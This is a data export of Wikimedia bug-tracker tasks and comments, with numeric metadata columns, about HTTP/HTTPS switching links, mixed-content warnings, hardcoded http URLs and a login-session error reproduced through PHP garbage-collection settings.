%%%*** This bug has been marked as a duplicate of bug 29878 ***%%%",,,1322838348,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-7vfqohbuaxe5jz7heehg,task_subcomment,,True,c2,1,False,,,-91,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.5416666666666666,"

%%%*** This bug has been marked as a duplicate of bug 29878 ***%%%"
34690,Link to switch to http/https version of current page,"It would be nice if there was an easy way to go from http to the same page on the secure site, and the other way around. E.g. a footer link like the one we have for going to the page on the mobile site.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1322506800,1325052259.0,PHID-USER-th6xijvyee7wqsk7bc67,False,,False,PHID-TASK-hfdhnp2k7kcjo2mblxaz,task_description,resolved,True,c2,1,False,False,True,-92,True,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,14.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,6.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,3.484848484848485,0.6818181818181818,"It would be nice if there was an easy way to go from http to the same page on the secure site, and the other way around. E.g. a footer link like the one we have for going to the page on the mobile site.

--------------------------
**Version**: unspecified
**Severity**: normal"
158549,Link to switch to http/https version of current page,I'd internatiolaise the http/https as secure/insecure instead of showing the raw protocols in the message.,,,1325460348,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-hfdhnp2k7kcjo2mblxaz,task_subcomment,,True,c2,1,False,,,-87,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.380952380952381,0.8571428571428571,I'd internatiolaise the http/https as secure/insecure instead of showing the raw protocols in the message.
158543,Link to switch to http/https version of current page,"(In reply to comment #2)
> That would completely ruin caching, unless implemented as a gadget.

I understand.. I don't know much javascript but this was simple enough to make myself :) https://incubator.wikimedia.org/wiki/MediaWiki:Gadget-otherProtocol.js

I will still have to wait for the shared gadget repository to be able to use it easily on all wikis.

(Marking as fixed, as I'm happy now :p.)",,,1325052259,,PHID-USER-th6xijvyee7wqsk7bc67,False,,,PHID-TASK-hfdhnp2k7kcjo2mblxaz,task_subcomment,,True,c2,1,False,,,-87,True,3.0,0.0,0.0,0.0,1.0,4.0,3.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,7.0,0.0,9.0,15.0,0.0,7.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,12.0,0.0,1.0,4.0,0.0,1.0,0.0,1.0,10.0,0.0,1.0,0.0,9.0,15.0,1.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.298507462686567,0.8208955223880597,"(In reply to comment #2)
QUOTE

I understand.. I don't know much javascript but this was simple enough to make myself :) URL

I will still have to wait for the shared gadget repository to be able to use it easily on all wikis.

(Marking as fixed, as I'm happy now :p.)"
158535,Link to switch to http/https version of current page,"That's trivial to add. I had never seen that mobile link, btw.",,,1322604406,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-hfdhnp2k7kcjo2mblxaz,task_subcomment,,True,c2,1,False,,,-92,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,12.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1875,0.9375,"That's trivial to add. I had never seen that mobile link, btw."
158529,Link to switch to http/https version of current page,"**john** wrote:

That would completely ruin caching, unless implemented as a gadget.",,,1322604325,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hfdhnp2k7kcjo2mblxaz,task_subcomment,,True,c2,1,False,,,-92,True,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.7,0.85,"**john** wrote:

That would completely ruin caching, unless implemented as a gadget."
158520,Link to switch to http/https version of current page,'Switch to secure site' 'Switch to OMG ALL YOUR COOKIES BELONG TO ME site' :P :),,,1322604301,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-hfdhnp2k7kcjo2mblxaz,task_subcomment,,True,c2,1,True,,,-92,True,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,45.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,15.0,15.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,0.7,'Switch to secure site' 'Switch to OMG ALL YOUR COOKIES BELONG TO ME site' :P :)
34550,"ViewVC on svn.wikimedia.org loads an icon over HTTP, causing mixed content warnings","The culprit is this cute bugzilla logo on the link to our Bugzilla:

[10:25:02.522] GET http://www.bugzilla.org/img/buggie.png [HTTP/1.1 200 OK 4ms]

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://svn.wikimedia.org/viewvc/mediawiki/trunk/",Medium,50.0,1321899960,1322678556.0,PHID-USER-yek7ymogrv4qc67oilhf,False,,False,PHID-TASK-lja273o24m2sewxmecrd,task_description,resolved,True,c2,1,True,False,True,-93,True,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.4423076923076925,0.5961538461538461,"The culprit is this cute bugzilla logo on the link to our Bugzilla:

[10:25:02.522] GET URL [HTTP/1.1 200 OK 4ms]

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
159412,"ViewVC on svn.wikimedia.org loads an icon over HTTP, causing mixed content warnings","It can -- done. :)

Thanks Peter!",,,1322678556,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-lja273o24m2sewxmecrd,task_subcomment,,True,c2,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8,1.0,"It can -- done. :)

Thanks Peter!"
159409,"ViewVC on svn.wikimedia.org loads an icon over HTTP, causing mixed content warnings","(In reply to comment #4)
> this be done now.

Can this bug be marked resolved fixed?",,,1322618305,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-lja273o24m2sewxmecrd,task_subcomment,,True,c2,1,True,,,-91,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,0.0,5.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1578947368421053,1.0,"(In reply to comment #4)
QUOTE

Can this bug be marked resolved fixed?"
159404,"ViewVC on svn.wikimedia.org loads an icon over HTTP, causing mixed content warnings","**py** wrote:

this be done now.",,,1322593315,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lja273o24m2sewxmecrd,task_subcomment,,True,c2,1,False,,,-92,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.1538461538461537,0.7692307692307693,"**py** wrote:

this be done now."
159398,"ViewVC on svn.wikimedia.org loads an icon over HTTP, causing mixed content warnings",Aha yeah that other one didn't show up for me cause HTTPS-Everywhere apparently magically rewrote one icon but not the other. whooooooooooa duuuuuuuude,,,1321926026,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-lja273o24m2sewxmecrd,task_subcomment,,True,c2,1,True,,,-93,True,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,15.0,11.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,4.0,4.0,11.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.777777777777778,0.9259259259259259,Aha yeah that other one didn't show up for me cause HTTPS-Everywhere apparently magically rewrote one icon but not the other. whooooooooooa duuuuuuuude
159392,"ViewVC on svn.wikimedia.org loads an icon over HTTP, causing mixed content warnings",adding peter since he did the work.,,,1321924616,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-lja273o24m2sewxmecrd,task_subcomment,,True,c2,1,False,,,-93,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.625,1.0,adding peter since he did the work.
159388,"ViewVC on svn.wikimedia.org loads an icon over HTTP, causing mixed content warnings","<gerrit-wm> New patchset: Pyoungmeister; ""adding an ""s"" to get rid of a mixed
            content warning. bz 32550"" [operations/puppet] (production) -
            https://gerrit.wikimedia.org/r/982
<notpeter> also, there's going to be another thing giving the warning:
           http://upload.wikimedia.org/wikipedia/commons/thumb/1/12/Wikimedia_logo_text_RGB.svg/76px-Wikimedia_logo_text_RGB.svg.png",,,1321924497,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-lja273o24m2sewxmecrd,task_subcomment,,True,c2,1,False,,,-93,True,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,5.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,8.0,3.9322033898305087,0.8305084745762712,"<gerrit-wm> New patchset: Pyoungmeister; ""adding an ""s"" to get rid of a mixed
            content warning. bz 32550"" [operations/puppet] (production) -
            GERRIT_URL
<notpeter> also, there's going to be another thing giving the warning:
           URL"
34379,DatabaseError.php is hardcoding http,"In DatabaseError.php are tow hardcoded http which can be changed to protocol realtive urls.

Thanks.

--------------------------
**Version**: 1.20.x
**Severity**: trivial",Medium,50.0,1321110480,1321220595.0,PHID-USER-a6jwrurphpx6yl4coupk,False,,False,PHID-TASK-cebgzmpf2f65opjqug6s,task_description,resolved,True,c2,1,False,False,True,-94,True,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.305555555555555,0.6944444444444444,"In DatabaseError.php are tow hardcoded http which can be changed to protocol realtive urls.

Thanks.

--------------------------
**Version**: 1.20.x
**Severity**: trivial"
157883,DatabaseError.php is hardcoding http,r102910,,,1321220595,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-cebgzmpf2f65opjqug6s,task_subcomment,,True,c2,1,True,,,-94,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,r102910
34363,"Login sometimes causes unexpected ""Login Error"" message","**Author:** `dnessett`

**Description:**
This bug was discovered while working on bug 32122 (https://bugzilla.wikimedia.org/show_bug.cgi?id=32122). In order to reproduce it reliably, a developer must make the following changes to php.ini (this should *not* be done on a production machine, since the settings force the PHP garbage collector to run on every page access).

- session.gc_probability = 100
- session.gc_divisor     = 100
- session.gc_maxlifetime = 60
- session.save_path = <some directory writable by httpd>

After making these changes restart httpd. Then execute the following:

Login

Immediately log out

Wait more than 60 seconds. Do not change the page, stay on the ""Log out"" page
which states: ""You are now logged out. You can continue to use MW_1_16_5
anonymously ...""

Login

The error:

""Login error
 There seems to be a problem with your login session; this action has been
canceled as a precaution against session hijacking. Go back to the previous
page, reload that page and then try again.""

is displayed.

This bug appears to arise due to session management logic in MW in tandem with PHP session garbage collection. One commenter on bug 32122 suggests this is expected behavior. However, from a user's point of view that is highly unlikely.

One possible solution is to destroy the session on logout. There is a PHP function, session_destroy that destroys session data, but it isn't clear whether that function actually deletes the session file. Also, it isn't clear how to delete sessions held by memcached.

--------------------------
**Version**: 1.16.x
**Severity**: normal",Medium,50.0,1321036920,1616671414.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ocoec2m74xxi5ju2tb2i,False,PHID-TASK-jginap6vmqjytz5h5rd6,task_description,invalid,True,c2,1,False,False,False,-94,True,0.5,0.0,0.25,1.25,1.0,2.25,1.5,0.0,0.0,0.0,1.25,0.5,0.0,0.0,0.5,0.0,0.0,5.25,9.5,0.0,1.75,0.5,0.5,0.0,0.25,0.0,0.0,0.0,0.25,0.0,0.0,5.0,0.75,0.75,0.5,0.75,0.5,0.0,0.5,0.5,0.0,0.0,0.75,5.5,0.0,0.0,0.0,0.25,0.0,12.25,0.75,1.5,0.0,0.25,0.0,0.25,0.0,0.25,0.25,0.0,0.25,0.5,0.0,0.25,0.0,0.25,0.0,4.25,3.25,8.5,1.0,0.5,7.0,0.0,0.0,0.0,0.0,5.5,0.0,2.25,0.0,1.5,9.5,2.25,0.0,1.5,0.0,1.5,0.0,1.25,1.5,0.0,1.0,0.25,0.0,0.5,4.036071113723185,0.6929914781075522,"**Author:** CODE

**Description:**
This bug was discovered while working on bug 32122 (URL In order to reproduce it reliably, a developer must make the following changes to php.ini (this should *not* be done on a production machine, since the settings force the PHP garbage collector to run on every page access).

- session.gc_probability = 100
- session.gc_divisor     = 100
- session.gc_maxlifetime = 60
- session.save_path = <some directory writable by httpd>

After making these changes restart httpd. Then execute the following:

Login

Immediately log out

Wait more than 60 seconds. Do not change the page, stay on the ""Log out"" page
which states: ""You are now logged out. You can continue to use MW_1_16_5
anonymously ...""

Login

The error:

""Login error
 There seems to be a problem with your login session; this action has been
canceled as a precaution against session hijacking. Go back to the previous
page, reload that page and then try again.""

is displayed.

This bug appears to arise due to session management logic in MW in tandem with PHP session garbage collection. One commenter on bug 32122 suggests this is expected behavior. However, from a user's point of view that is highly unlikely.

One possible solution is to destroy the session on logout. There is a PHP function, session_destroy that destroys session data, but it isn't clear whether that function actually deletes the session file. Also, it isn't clear how to delete sessions held by memcached.

--------------------------
**Version**: 1.16.x
**Severity**: normal"
1692054,"Login sometimes causes unexpected ""Login Error"" message","Session handling was overhauled in 1.27, as well as the authentication part of the login process.",,,1616671414,,PHID-USER-ocoec2m74xxi5ju2tb2i,False,,,PHID-TASK-jginap6vmqjytz5h5rd6,task_subcomment,,True,c2,3,True,,,395,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.555555555555555,0.8888888888888888,"Session handling was overhauled in 1.27, as well as the authentication part of the login process."
156874,"Login sometimes causes unexpected ""Login Error"" message","**dnessett** wrote:

I should have stipulated that when logging in DO NOT CHECK THE ""REMEMBER ME"" BOX.",,,1321040442,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jginap6vmqjytz5h5rd6,task_subcomment,,True,c2,1,False,,,-94,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,31.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,8.0,12.0,0.0,8.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.3461538461538463,0.8461538461538461,"**dnessett** wrote:

I should have stipulated that when logging in DO NOT CHECK THE ""REMEMBER ME"" BOX."
34227,blog.wikimedia.org show mixed-content warning with https,"Going to https://blog.wikimedia.org/ gives a mixed-content warning, because the images of the sidebar and the images of some posts/threads are loaded over http.

Please change all images to protocol relative url.

Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1320573960,1369205026.0,PHID-USER-a6jwrurphpx6yl4coupk,False,,False,PHID-TASK-kn6j4sqx3gvfvd3z4byp,task_description,resolved,True,c2,1,False,False,True,-95,True,3.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,10.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,0.6833333333333333,"Going to URL gives a mixed-content warning, because the images of the sidebar and the images of some posts/threads are loaded over http.

Please change all images to protocol relative url.

Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal"
158403,blog.wikimedia.org show mixed-content warning with https,"Yes, but that's Bug 37229",,,1369205026,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-kn6j4sqx3gvfvd3z4byp,task_subcomment,,True,c2,1,False,,,-14,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"Yes, but that's Bug 37229"
158398,blog.wikimedia.org show mixed-content warning with https,"**mah** wrote:

re-opening.  Comments are submitted to http even when commenting on a page served by https.  This causes warnings.",,,1369164208,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-kn6j4sqx3gvfvd3z4byp,task_subcomment,,True,c2,1,False,,,-15,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.393939393939394,0.8181818181818182,"**mah** wrote:

re-opening.  Comments are submitted to http even when commenting on a page served by https.  This causes warnings."
